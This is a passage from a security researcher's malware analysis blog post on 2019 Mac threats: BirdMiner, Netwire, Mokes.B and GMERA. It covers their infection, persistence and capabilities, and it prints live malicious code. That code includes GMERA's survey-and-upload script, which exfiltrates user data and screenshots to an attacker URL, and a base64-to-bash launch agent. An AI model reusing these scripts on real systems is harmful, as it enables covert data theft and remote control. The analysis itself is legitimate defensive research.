Applications\r\n`BirdMiner` was distributed via pirated (cracked) applications on the the \"VST Crack\" website. Thomas Reed\r\n([@thomasareed](https://twitter.com/thomasareed)) the well-known Mac malware analyst and author of the [\"New\r\nMac cryptominer... Bird Miner\"](https://blog.malwarebytes.com/mac/2019/06/new-mac-cryptominer-malwarebytes-detects-as-bird-miner-runs-by-emulating-linux/) writeup, states:\r\n\"Bird Miner has been found in a cracked installer for the high-end music production software Ableton\r\nLive\" -Thomas Reed\r\nESET, who also analyzed the malware, discussed its infection mechanism as well. Specifically their research\r\nuncovered almost 100 pirated applications all related to digital audio / virtual studio technology (VST) that, (like\r\nthe cracked Ableton Live software package) likely contained the BirdMiner malware.\r\nOf course, users who downloaded and installed these pirated applications, would become infected with the\r\nmalware.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 24 of 82\n\nIt should be noted that the downloaded package ( Ableton Live Suite 10.1.pkg ) is unsigned, thus will be\r\nblocked by macOS:\r\nRather amusingly though, an Instructions.txt file explicitly tells user how to (manually) sidestep this:\r\nImportant note: If you receive the following message:\r\n\"Can't be opened because it is from an unidentified developer.\"\r\nGo into: \"System Preferences\" \u003e \"Security and Privacy\" \u003e \"General\" and \"Allow\" the installation with \"Open Anywa\r\n Persistence: Launch Daemons\r\nOne of the pirated applications that is infected with OSX.BirdMiner is Ableton Live, “a digital audio workstation\r\nfor macOS”. The infected application is distributed as a standard disk image; Ableton.Live.10.Suite.v10.1.dmg\r\nWhen the disk image is mounted and the application installer ( Ableton Live Suite 10.1.pkg ) is executed it will\r\nfirst request the user’s credentials:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 25 of 82\n\nNow, with root privileges BirdMiner can persists several launch daemons. This can be passively observed by via\r\nObjective-See’s FileMonitor utility:\r\n{\r\n \"event\": \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"timestamp\": \"2019-12-03 06:36:21 +0000\",\r\n \"file\": {\r\n \"destination\": \"/Library/LaunchDaemons/com.decker.plist\",\r\n \"process\": {\r\n \"pid\": 1073,\r\n \"path\": \"/bin/cp\",\r\n \"uid\": 0,\r\n \"arguments\": [],\r\n \"ppid\": 1000,\r\n \"ancestors\": [1000, 986, 969, 951, 1],\r\n \"signing info\": {\r\n \"csFlags\": 603996161,\r\n \"signatureIdentifier\": \"com.apple.cp\",\r\n \"cdHash\": \"D2E8BBC6DB7E2C468674F829A3991D72AA196FD\",\r\n \"isPlatformBinary\": 1\r\n }\r\n }\r\n }\r\n}\r\n...\r\n{\r\n \"event\": \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"timestamp\": \"2019-12-03 06:36:21 +0000\",\r\n \"file\": {\r\n \"destination\": \"/Library/LaunchDaemons/com.tractableness.plist\",\r\n \"process\": {\r\n \"pid\": 1077,\r\n \"path\": \"/bin/cp\",\r\n \"uid\": 0,\r\n \"arguments\": [],\r\n \"ppid\": 1000,\r\n \"ancestors\": [1000, 986, 969, 951, 1],\r\n \"signing info\": {\r\n \"csFlags\": 603996161,\r\n \"signatureIdentifier\": \"com.apple.cp\",\r\n \"cdHash\": \"D2E8BBC6DB7E2C468674F829A3991D72AA196FD\",\r\n \"isPlatformBinary\": 1\r\n }\r\n }\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 26 of 82\n\n}\r\n}\r\n\\\r\nThe names of the property lists (com.decker.plist, com.tractableness.plist) and the names of the files they persist\r\nare randomly generated. See [\"New Mac cryptominer... Bird Miner\"]\r\n(https://blog.malwarebytes.com/mac/2019/06/new-mac-cryptominer-malwarebytes-detects-as-bird-miner-runs-by-emulating-linux/) for more details.\r\nThe com.decker.plist launch daemon persists a file named vicontiel (placed in /usr/local/bin/ ):\r\n# defaults read /Library/LaunchDaemons/com.decker.plist\r\n{\r\n KeepAlive = 1;\r\n Label = \"com.decker.plist\";\r\n ProgramArguments = (\r\n \"/usr/local/bin/vicontiel\"\r\n );\r\n RunAtLoad = 1;\r\n}\r\nSimilarly, the com.tractableness.plist launch daemon persists a file named Tortulaceae (again, in\r\n/usr/local/bin/ ):\r\n# defaults read /Library/LaunchDaemons/com.tractableness.plist\r\n{\r\n KeepAlive = 1;\r\n Label = \"com.tractableness.plist\";\r\n ProgramArguments = (\r\n \"/usr/local/bin/Tortulaceae\"\r\n );\r\n RunAtLoad = 1;\r\n}\r\n\\\r\nAs RunAtLoad is set to 1 (true) in both property list files, the persisted files ( vicontiel , and Tortulaceae )\r\nwill be automatically (re)launched by the OS each time the infected system is restarted.\r\n Capabilities: Cryptomining\r\nBoth files ( vicontiel , and Tortulaceae , though recall these names are randomly generated), are bash scripts:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 27 of 82\n\n# file /usr/local/bin/vicontiel\r\n/usr/local/bin/vicontiel: Bourne-Again shell script text executable, ASCII text\r\nThe vicontiel script will either unload the com.tractableness.plist launch daemon if the user has Activity\r\nMonitor running (likely for stealth reasons), or if not, will load the plist:\r\n# less /usr/local/bin/viridian\r\n...\r\npgrep \"Activity Monitor\"\r\nif [ $? -eq 0 ]; then\r\n \r\n launchctl unload -w /Library/LaunchDaemons/com.tractableness.plist\r\n sleep 900\r\nelse\r\n launchctl load -w /Library/LaunchDaemons/com.tractableness.plist\r\nfi\r\nThe Tortulaceae (executed by the com.tractableness.plist ) will similarly unload the plist if Activity\r\nMonitor is running. However, if not, it will execute the following: /usr/local/bin/voteen -m 3G -accel\r\nhvf,thread=multi -smp cpus=2 --cpu host /usr/local/bin/archfounder -display none\r\nAs noted by Thomas Reed in his writeup, /usr/local/bin/voteen , is actually the open-source emulator QEMU!\r\n$ strings -a /usr/local/bin/voteen\r\nQEMU emulator version 4.0.92 (v4.1.0-rc2-dirty)\r\nCopyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers\r\n...\r\nQEMU is able to execute (via emulation) Linux binaries on systems that are not Linux (such as macOS). This\r\nbegs the question, what is it executing?\r\nThe file command (well, and Reed’s writeup) provide the answer:\r\n$ file /usr/local/bin/archfounder\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 28 of 82\n\n/usr/local/bin/archfounder: QEMU QCOW Image (v3), 527400960 bytes\r\nThe archfounder file (that is passed into QEMU ( voteen )), is a QEMU QCOW image, which (thanks again to\r\nReed’s analysis) we know is: “a bootable [Tiny Core] Linux system.”\r\nOk, so we’ve got a peristent macOS launch daemon, that’s executing a bash script, which (via QEMU), is booting\r\na Linux system. But why? Reed again has the answer:\r\n\"_[the] `bootlocal.sh` file contains commands [that are automatically executed during startup] to get\r\nxmrig up and running:_\r\n1#!/bin/sh\r\n2# put other system startup commands here\r\n3/mnt/sda1/tools/bin/idgenerator 2\u003e\u00261 \u003e /dev/null\r\n4/mnt/sda1/tools/bin/xmrig_update 2\u003e\u00261 \u003e /dev/null\r\n5/mnt/sda1/tools/bin/ccommand_update 2\u003e\u00261 \u003e /dev/null\r\n6/mnt/sda1/tools/bin/ccommand 2\u003e\u00261 \u003e /dev/null\r\n7/mnt/sda1/tools/bin/xmrig\r\n…thus, as soon as the Tiny Core system boots up, xmrig launches without ever needing a user to log\r\nin.\"\r\nSo all that work to persist a linux-version of xmrig (a well known cryptocurrency miner?) Yes! #yolo?\r\nThere are macOS builds of xmrig, meaning the attacker could have simply persisted such a build and thus skipped\r\nthe entire QEMU/Linux aspect of this attack.\r\n\\\r\n👾 OSX.Netwire\r\n`Netwire` is a fully-featured persistent backdoor. Interestinly, while `Netwire.A` appeared on Apple's radar a few\r\nyears ago, it only publicly emerged in 2019.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 29 of 82\n\nDownload: OSX.Netwire (password: infect3d )\r\n Writeups:\r\n“A Firefox 0day Drops a macOS Backdoor (OSX.Netwire.A)”\r\n“Potent Firefox 0-day used to install undetected backdoors on Macs”\r\n\\\r\n Infection Vector: Browser 0day\r\nIt all started with an email sent our way, from a user (working at a crypto-currency exchange) who’s Mac had been\r\ninfected …apparently via a browser 0day!\r\n\"_Last week Wednesday I was hit with an as-yet-unknown Firefox 0day that somehow dropped a binary\r\nand executed it on my mac (10.14.5) \\ \\ Let me know if you would be interested in analysing the binary,\r\nmight be something interesting in there wrt bypassing osx gatekeeper._\"\r\nMoreover, the user was able to provide a copy of the email that contained a link to the malicious website\r\n( people.ds.cam.ac.uk ):\r\nDear XXX,\r\nMy name is Neil Morris. I’m one of the Adams Prize Organizers.\r\nEach year we update the team of independent specialists who could assess the quality of the competing projects:\r\nhttp://people.ds.cam.ac.uk/nm603/awards/Adams_Prize\r\nOur colleagues have recommended you as an experienced specialist in this field.\r\nWe need your assistance in evaluating several projects for Adams Prize.\r\nLooking forward to receiving your reply.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 30 of 82\n\n---\ntitle: 404 Not Found\n---\nBest regards,\nNeil Morris\nUnfortunately at the time our analysis, the link ( people.ds.cam.ac.uk/nm603/awards/Adams_Prize ) returned a\n404 Not Found :\n$ curl http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize\n\n# Not Found\n\nThe requested URL /nm603/awards/Adams_Prize was not found on this server.\n\n---\nApache/2.4.7 (Ubuntu) Server at people.ds.cam.ac.uk Port 80 A few days later a security researcher at Coinbase, Philip Martin, posted an interesting thread on twitter, detailing\nthe same attack:\nThis (Firefox) 0day, has now been patched as CVE-2019-11707, and covered in various articles such as:\n“Mozilla patches Firefox zero-day abused in the wild”\n“Mozilla Patches Firefox Critical Flaw Under Active Attack”\nFor more information on the technical details of this browser bug, check out Samuel Groß’s twitter thread:\nAs the bug was exploited as a 0day vulnerability, if any user visited the malicious site people.ds.cam.ac.uk via\nFirefox (even fully-patched!), the page would “throw” that exploit and automatically infect the Mac computer. No\nother user-interaction required!\nWith the ability to download and execute arbitrary payloads, the attackers could install whatever macOS malware\nthey desired! One of the payloads they chose to install was OSX.Netwire (on other systems, the attacker choose\nto install OSX.Mokes ).\nWhat about File Quarantine/Gatekeeper? Unfortunately those protection mechanisms only come into play, if the\nbinary / application contains the “quarantine attribute”. Via an exploit, an attacker can ensure their payload, of\ncourse, does not contain this attribute (thus neatly avoiding Gatekeeper): \\\nhttps://objective-see.com/blog/blog_0x53.html\nPage 31 of 82\n\n\\\r\nFor details on File Quarantine/Gatekeeper see: “Gatekeeper Exposed”\r\n..also note, that in macOS 10.15 (Catalina), File Quarantine/Gatekeeper have been improved, and thus may (now)\r\nthwart this attack vector!\r\n\\\r\n Persistence: Login Item \u0026 Launch Agent\r\nA quick peek at the malware’s disassembly reveals an launch agent plist, embedded directly within the binary:\r\nmemcpy(esi, \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\u003c!DOCTYPE plist PUBLIC \\\"-//Apple Computer//DTD PLIST\r\n...\r\neax = getenv(\"HOME\");\r\neax = __snprintf_chk(\u0026var_6014, 0x400, 0x0, 0x400, \"%s/Library/LaunchAgents/\", eax);\r\n...\r\neax = __snprintf_chk(edi, 0x400, 0x0, 0x400, \"%s%s.plist\", \u0026var_6014, 0xe5d6);\r\nSeems reasonable to assume the malware will persist as launch agent.\r\nHowever, it also appears to contain logic to persist as a login item (note the call to the\r\nLSSharedFileListInsertItemURL API):\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 32 of 82\n\neax = __snprintf_chk(\u0026var_6014, 0x400, 0x0, 0x400, \"%s%s.app\", \u0026var_748C, \u0026var_788C);\r\neax = CFURLCreateFromFileSystemRepresentation(0x0, \u0026var_6014, eax, 0x1);\r\n...\r\neax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);\r\n...\r\neax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);\r\nExecuting the malware (in VM), shows that it persists twice! First as launch agent ( com.mac.host.plist ), and\r\nthen as a login item.\r\nLet’s take a peek at the launch agent plist, com.mac.host.plist :\r\n$ cat ~/Library/LaunchAgents/com.mac.host.plist\r\n{\r\n KeepAlive = 0;\r\n Label = \"com.mac.host\";\r\n ProgramArguments = (\r\n \"/Users/user/.defaults/Finder.app/Contents/MacOS/Finder\"\r\n );\r\n RunAtLoad = 1;\r\n}\r\nAs the RunAtLoad key set to 1 ( true ), the OS will automatically launch the binary specified in the\r\nProgramArguments array ( ~/.defaults/Finder.app/Contents/MacOS/Finder ) each time the user logs in.\r\nThe login item will also ensure the malware is launched. Login items however show up in the UI, clearly\r\ndetracting from the malware’s stealth:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 33 of 82\n\nIs persisting twice better than once? Not really, especially if you are running Objective-See’s lovely tools such as\r\nBlockBlock which detects both persistence attempts:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 34 of 82\n\nFor details on persisting as a login item (and the role of backgroundTaskManagementAgent), see our recent blog\r\npost: “Block Blocking Login Items”.\r\n\\\r\n Capabilities: (fully-featured) backdoor.\r\nVia (what was) a Firefox 0day, attackers remotely infected macOS systems with OSX.Netwire . Persistenly\r\ninstalling the malware ( Finder.app ) afforded the attackers full remote access to compromised systems. Here, we\r\nbriefly discuss the specific capabilities of the OSX.Netwire.A backdoor.\r\nFor a detailed technical analysis of Netwire (that focuses specifically on uncovering its capabilities) see:\r\n[\"Part II: A Firefox 0day drops a macOS Backdoor (OSX.Netwire.A)\"](https://objective-see.com/blog/blog_0x44.html)\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 35 of 82\n\nAfter extracting the address of its command and control server from an encryted (embedded) config file,\r\nNetwire connects to said server for tasking.\r\n$ lldb Finder.app\r\n(lldb) process launch --stop-at-entry\r\n(lldb) b 0x00007658\r\nBreakpoint 1: where = Finder`Finder[0x00007658], address = 0x00007658\r\n(lldb) c\r\nProcess 1130 resuming\r\nProcess 1130 stopped (stop reason = breakpoint 1.1)\r\n(lldb) x/100xs 0x0000e2f0 --force\r\n0x0000e2f0: \"\"\r\n...\r\n0x0000e2f8: \"89.34.111.113:443;\"\r\n0x0000e4f8: \"Password\"\r\n0x0000e52a: \"HostId-%Rand%\"\r\n0x0000e53b: \"Default Group\"\r\n0x0000e549: \"NC\"\r\n0x0000e54c: \"-\"\r\n0x0000e555: \"%home%/.defaults/Finder\"\r\n0x0000e5d6: \"com.mac.host\"\r\n0x0000e607: \"{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}\"\r\nThough this server ( 89.34.111.113 ) is now offline, static analysis reveals that the malware expects a response\r\ncontaining tasking data, including an integer value of the command to execute. This integer is used to index into\r\nan array ( 0x0000d1b0 ) of supported commands:\r\nmov dl, byte [esp+ecx+0x78ac+dataFromServer]\r\n...\r\ndec dl\r\ncmp dl, 0x42\r\nja loc_6a10\r\n...\r\nmovzx eax, dl\r\njmp dword [switch_table_d1b0+eax*4]\r\nBy statically analyzing the code referenced in this array we can uncover Netwire ’s capabilities.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 36 of 82\n\nFor example, “command” 0x1A ( 26d ) will rename a file:\r\n0x00004f37 push ebx\r\n0x00004f38 push edi\r\n0x00004f39 call imp___symbol_stub__rename\r\n…while “command” 0x1B ( 27d ) will delete a file via the unlink API:\r\n0x00004f5e sub esp, 0xc\r\n0x00004f61 push esi\r\n0x00004f62 mov edi, ecx\r\n0x00004f64 call imp___symbol_stub__unlink\r\nOSX.Netwire also can be remotely tasked to interact with process(es), for example listing them (“command”\r\n0x42 , 66d ):\r\n; case 0x42,\r\n...\r\npush esi\r\npush edi\r\npush 0x0\r\npush 0x1\r\ncall imp___symbol_stub__proc_listpids\r\n…or killing them (“command” 0x2C , 44d ):\r\n; case 0x2C,\r\n...\r\n0x000056fa push 0x9\r\n0x000056fc push eax\r\n0x000056fd call imp___symbol_stub__kill\r\nVia “command” 0x19 ( 25d ) the malware will invoke a helper method, 0x0000344c which will fork then\r\nexecv a process:\r\neax = fork();\r\nif (((eax == 0xffffffff ? 0x1 : 0x0) != (eax \u003c= 0x0 ? 0x1 : 0x0)) \u0026\u0026 (eax == 0x0)) {\r\n execv(esi, \u0026var_18);\r\n eax = exit(0x0);\r\n}\r\nThe malware can also interact with the UI, for example to capture a screen shot. When the malware receives\r\n“command” 0x37 ( 55d ), it invokes the CGMainDisplayID and CGDisplayCreateImage to create an image of\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 37 of 82\n\nthe user’s desktop:\r\n0x0000622c movss dword [esp+0x34ac+var_101C], xmm0\r\n0x00006235 call imp___symbol_stub__CGMainDisplayID\r\n0x0000623a sub esp, 0xc\r\n0x0000623d push eax\r\n0x0000623e call imp___symbol_stub__CGDisplayCreateImage\r\nInterestingly it also appears that OSX.Netwire may be remotely tasked to generate synthetic keyboard and mouse\r\nevents. Neat!\r\nSpecifically synthetic keyboard events are created and posted when “command” 0x34 ( 52d ) is received from\r\nthe c\u0026c server. To create and post the event, the malware invokes the CGEventCreateKeyboardEvent and\r\nCGEventPost APIs.\r\nSynthetic mouse events (i.e. clicks, moves, etc) are generated in response to “command” 0x35 ( 53d ):\r\nvoid sub_9a29() {\r\n edi = CGEventCreateMouseEvent(0x0, edx, ...);\r\n CGEventSetType(edi, edx);\r\n CGEventPost(0x0, edi);\r\n return;\r\n}\r\nFinally, via “command” 0x7 it appears that the malware can be remotely instructed to uninstall itself. Note the\r\ncalls to unlink to remove the launch agent plist and the malware’s binary image, and the call to\r\nLSSharedFileListItemRemove to remove the login item:\r\n__snprintf_chk(\u0026var_284C, 0x400, 0x0, 0x400,\r\n \"%s/Library/LaunchAgents/%s.plist\", getenv(\"HOME\"), 0xe5d6);\r\neax = unlink(\u0026var_284C);\r\nif (getPath() != 0x0) {\r\n unlink(esi);\r\n}\r\nLSSharedFileListItemRemove(var_34A4, esi);\r\n\\\r\n👾 OSX.Mokes.B\r\nMokes.B is a new variant of the Mokes malware; a fully-featured macOS backdoor.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 38 of 82\n\nDownload: OSX.Mokes (password: infect3d )\r\n Writeups:\r\n“A Firefox 0day Drops Another macOS Backdoor ( OSX.Mokes.B )”\r\n“Potent Firefox 0-day used to install undetected backdoors on Macs”\r\n\\\r\n Infection Vector: Browser 0day\r\nIn our previous discussion of OSX.NetWire , we noted that Coinbase researcher, Philip Martin, tweeted the\r\nfollowing about an attack that leveraged a Firefox 0day to target macOS users:\r\nThe (first) hash he mentioned, b639bca429778d24bda4f4a40c1bbc64de46fa79 turned out to be new variant of\r\nMokes that we named OSX.Mokes.B : \\\r\n\\\r\nFor more details on the Firefox 0day see our discussion (above) on [`OSX.Netwire`](#osx-netwire)\r\n\\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 39 of 82\n\nPersistence: Launch Agent\r\nWhen executed, OSX.Mokes.B persists itself as a launch agent ( quicklookd.plist ):\r\n$ defaults read ~/Library/LaunchAgents/quicklookd.plist\r\n{\r\n KeepAlive = 1;\r\n Label = quicklookd;\r\n ProgramArguments = (\r\n \"/Users/user/Library/Dropbox/quicklookd\"\r\n );\r\n RunAtLoad = 1;\r\n}\r\nAs the launch agent ( quicklookd.plist ) has the RunAtLoad key set (to 1), the OS will automatically launch the\r\nspecified binary ( /Users/user/Library/Dropbox/quicklookd ), each time the user logs in. This provides the\r\nmalware persistence.\r\nInterestingly directly embedded within Mokes are other names for both the plist and the for name of the\r\n(installed) malware. It appears to (rather) randomly and dynamically select names for these, likely in order to\r\ncomplicate signature-based detections.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 40 of 82\n\nFor example restoring the (analysis) VM to a pristine state and (re)running the malware, results in the malware\r\nselecting one of the other strings pairs (e.g. App Store / storeaccountd ) for installation and persistence\r\npurposes:\r\n Capabilities: Fully-featured backdoor\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 41 of 82\n\nWe previously noted this sample is a new variant of the OSX.Mokes , a fact that was orginally pointed out by Vitali\r\nKremez:\r\nThe orginal OSX.Mokes , is cross-platform, fully-featured backdoor that was discovered by Kaspersky in 2016. In\r\nan excellent writeup, “The Missing Piece – Sophisticated OS X Backdoor Discovered”, they detailed OSX.Moke s\r\ninstallation, persistence, network comms and rather impressive capabilities (screen capture, audio capture,\r\ndocument discovery \u0026 exfiltration, and more).\r\nThough there a some differences between the orginal Mokes samples and OSX.Mokes.B , their capabilities largely\r\noverlap. Such capabilities include:\r\ncapturing screen/mic/camera\r\nsearching for (office) documents\r\nmonitoring for removable media (USB devices)\r\nthe execution of abitrary commands (on an infected system)\r\nTo record the user, the malware utilizes popular QT framework. This cross-platform framework contains macOS-specific webcam recording code:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 42 of 82\n\n\\\r\n👾 OSX.GMERA ( A / B )\r\nGMERA is a Lazarus group trojan, that persistently exposes a shell to remote attackers\r\n Download: OSX.GMERA (password: infect3d )\r\n Writeups:\r\n“Mac Malware that Spoofs Trading App Steals User Information, Uploads it to Website”\r\n“Detecting macOS.GMERA Malware Through Behavioral Inspection”\r\n\\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 43 of 82\n\nInfection Vector: Fake Cryptocurrency App\r\nThe de-facto infection mechanism of the Lazarus group, is to create fake crypto-currency applications (often\r\nbacked by a legitimate looking website), and coerce users installed said applications.\r\nIn a previous (albeit related) attack in 2018, Kaspersky wrote:\r\n\"The victim had been infected with the help of a trojanized cryptocurrency trading application, which\r\nhad been recommended to the company over email. It turned out that an unsuspecting employee of the\r\ncompany had willingly downloaded a third-party application from a legitimate looking website [Celas\r\nLLC].\r\nThe Celas LLC …looks like the threat actor has found an elaborate way to create a legitimate looking\r\nbusiness and inject a malicious payload into a “legitimate looking” software update mechanism. Sounds\r\nlogical: if one cannot compromise a supply chain, why not to make fake one?\"\r\nI also talked about this previous attack in several conference talks:\r\nIn 2019, Lazarus group continued this trend, as noted by TrendMicro:\r\n\"However, their popularity has led to their abuse by cybercriminals who create fake trading apps as\r\nlures for unsuspecting victims to steal their personal data. We recently found and analyzed an example\r\nof such an app, which had a malicious malware variant that disguised itself as a legitimate Mac-based\r\ntrading app called Stockfolio.\"\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 44 of 82\n\nThus if a targeted user downloads and runs the Stockfolio application, they will become infected with\r\nOSX.GMERA \\\r\n Persistence: Launch Agent\r\nIn their report TrendMicro notes that only the second version of GMERA ( B ) persists.\r\nTake a peak at the trojanized Stockfolio application bundle of OSX.GMERA.B reveals the presence of a file\r\nnamed run.sh in the Resources/ directory:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 45 of 82\n\nThis script will install a persistent (hidden) launch agent to: ~/Library/LaunchAgents/.com.apple.upd.plist :\r\n$ cat Stockfoli.app/Contents/Resources/run.sh\r\n#! /bin/bash\r\n...\r\nplist_text=\"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQ\r\necho \"$plist_text\" | base64 --decode \u003e \"/tmp/.com.apple.upd.plist\"\r\necho \"tmpplist - $(cat /tmp/.com.apple.upd.plist))\" \u003e\u003e /tmp/loglog\r\ncp \"/tmp/.com.apple.upd.plist\" \"$HOME/Library/LaunchAgents/.com.apple.upd.plist\"\r\necho \"tmpplist - $(cat $HOME/Library/LaunchAgents/.com.apple.upd.plist))\" \u003e\u003e /tmp/loglog\r\nlaunchctl load \"/tmp/.com.apple.upd.plist\"\r\nDecoding the plist_text variable reveals the contents of this plist:\r\n$ python\r\n\u003e\u003e\u003e import base64\r\n\u003e\u003e\u003e plist_text=\"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVB...\"\r\n\u003e\u003e\u003e base64.b64decode(plist_text)\r\n\u003e\u003e\u003e '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"ht\r\nWhich, when formatted is a ‘standard’ launch agent plist:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 46 of 82\n\n1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5 KeepAlive 6 7 Label 8 com.apples.apps.upd 9 ProgramArguments 10 11 sh 12 -c 13 echo 'd2hpbGUgOjsgZG8gc...RvbmU=' | base64 --decode | bash 14 15 RunAtLoad 16 17 As the ~/Library/LaunchAgents/.com.apple.upd.plist has the RunAtLoad key set to the commands\nspecified in the ProgramArguments array will be automatically executed each time the user logs in. \\\n Capabilities: Persistent remote shell\nThe TrendMicro report on GMERA notes that, “The main Mach-O executable [of OSX.GMERA.A ] will launch the\nfollowing bundled shell scripts in the Resources directory: plugin , stock .”\nDisassembling the main binary ( Stockfoli.app/Contents/MacOS/Stockfoli ) supports this claim:\n0x000000010000226d 48891C08 mov qword [rax+rcx], rbx\n0x0000000100002271 4B8D0C76 lea rcx, qword [r14+r14*2]\n0x0000000100002275 488D15600E0000 lea rdx, qword [aStock] ; \"stock\"\n...\n0x00000001000022f6 49891C06 mov qword [r14+rax], rbx\n0x00000001000022fa 4B8D047F lea rax, qword [r15+r15*2]\n0x00000001000022fe 488D0DDD0D0000 lea rcx, qword [aPlugin] ; \"plugin\"\n...\n0x0000000100002a09 4C89F7 mov rdi, r14 ; argument #1 for method shellEx\n0x0000000100002a0c E8CFF3FFFF call shellExecute ; shellExecute\nhttps://objective-see.com/blog/blog_0x53.html\nPage 47 of 82\n\n0x0000000100002b00 4889DF mov rdi, rbx ; argument #1 for method shellEx\r\n0x0000000100002b03 E8D8F2FFFF call shellExecute ; shellExecute\r\nBoth the plugin and stock files are bash scripts:\r\n$ file Stockfoli.app/Contents/Resources/plugin\r\nStockfoli.app/Contents/Resources/plugin: Bourne-Again shell script text executable, ASCII text\r\n$ file Stockfoli.app/Contents/Resources/stock\r\nStockfoli.app/Contents/Resources/stock: Bourne-Again shell script text executable, ASCII text\r\nFirst, let’s look at the plugin script:\r\n 1#! /bin/bash\r\n 2\r\n 3uploadURL=\"https://appstockfolio.com/panel/upload.php\"\r\n 4\r\n 5function getINFO() {\r\n 6 htmlbase64 \"\"\"$(whoami) $(curl -s ipinfo.io | tr -d \"{\"\"}\"\",\"\"\\\"\")\"\"\" \u003e /tmp/.info\r\n 7 htmlbase64 \"$(ls /Applications)\" \u003e\u003e /tmp/.info\r\n 8 htmlbase64 \"\"\"$(ls -lh ~/Documents | awk '{print $5, \"|\", $6, $7, \"|\", $9}')\"\"\" \u003e\u003e /tmp/.info\r\n 9 htmlbase64 \"$(ls -lh ~/Desktop | awk '{print $5, \"|\", $6, $7, \"|\", $9}')\" \u003e\u003e /tmp/.info\r\n10 htmlbase64 \"$(date -r /var/db/.AppleSetupDone +%F)\" \u003e\u003e /tmp/.info\r\n11 htmlbase64 \"$(df -h | awk '{print $1, $4, $5, $9}' | tail -n +2)\" \u003e\u003e /tmp/.info\r\n12 htmlbase64 \"$(system_profiler SPDisplaysDataType)\" \u003e\u003e /tmp/.info\r\n13 htmlbase64 \"$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s\r\n14 screencapture -t jpg -x /tmp/screen.jpg\r\n15 sips -z 500 800 /tmp/screen.jpg\r\n16 sips -s formatOptions 50 /tmp/screen.jpg\r\n17 cat /tmp/screen.jpg | base64 \u003e\u003e /tmp/.info\r\n18 rm /tmp/screen.jpg\r\n19}\r\n20\r\n21...\r\n22\r\n23function sendIT(){\r\n24 unique=\"$(system_profiler SPHardwareDataType | grep Serial | cut -d \":\" -f 2 | xargs)\"\r\n25 whoami=\"$(whoami | tr -dc '[:alnum:]\\n\\r' | tr '[:upper:]' '[:lower:]' | xargs)\"\r\n26 ID=\"${whoami}_${unique}\"\r\n27 while true; do\r\n28 get=\"$(curl -k -s -F \"server_id=$ID\" -F \"file=@/tmp/.info\" $uploadURL)\"\r\n29 echo \"$get\"\r\n30 result=\"\"\"$(par_json \"$get\" \"result\")\"\"\"\r\n31 if [[ \"$result\" == \"Ok\" ]]; then\r\n32 echo \"File uploaded\"\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 48 of 82\n\n33 while true; do\r\n34 sleep 120\r\n35 get=\"$(curl -k -s -F \"server_id=$ID\" $uploadURL)\"\r\n36 pass=\"\"\"$(par_json \"$get\" \"text\")\"\"\"\r\n37 if [ \"$pass\" != \"wait\" ] \u0026\u0026 [ ! -z $pass ]; then\r\n38 echo \"$pass\" \u003e ~/Library/Containers/.pass\r\n39 rm /tmp/.info\r\n40 exit 1\r\n41 fi\r\n42 done\r\n43 else\r\n44 sleep 120\r\n45 fi\r\n46 done\r\n47}\r\n48\r\n49getINFO\r\n50sendIT\r\nThe script first gathers a bunch of information about the infected system, via the getINFO function. This\r\ninformation includes survey including:\r\nthe username of the logged in user (via whoami )\r\nthe infected system’s ip address (via curl -s ipinfo.io )\r\ninstalled applications (via ls /Applications )\r\nthe files on the Documents and Desktop folder (via ls -lh ~/Documents and ls -lh ~/Desktop).\r\nOS install date (via date -r /var/db/.AppleSetupDone )\r\ndisk usage (via df -h )\r\ndisplay informatio (via system_profiler SPDisplaysDataType )\r\nwifi access point (via\r\n/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s )\r\na screencapture (via screencapture )\r\nIt then uploads this survey data to https://appstockfolio.com/panel/upload.php , writing out the server’s\r\nresponse to ~/Library/Containers/.pass\r\nNow, on to the stock script:\r\n 1//stock\r\n 2\r\n 3#! /bin/bash\r\n 4\r\n 5louncherPATH=\"`dirname \"$0\"`/appcode\"\r\n 6if [ -e $louncherPATH ]\r\n 7then\r\n 8cp $louncherPATH 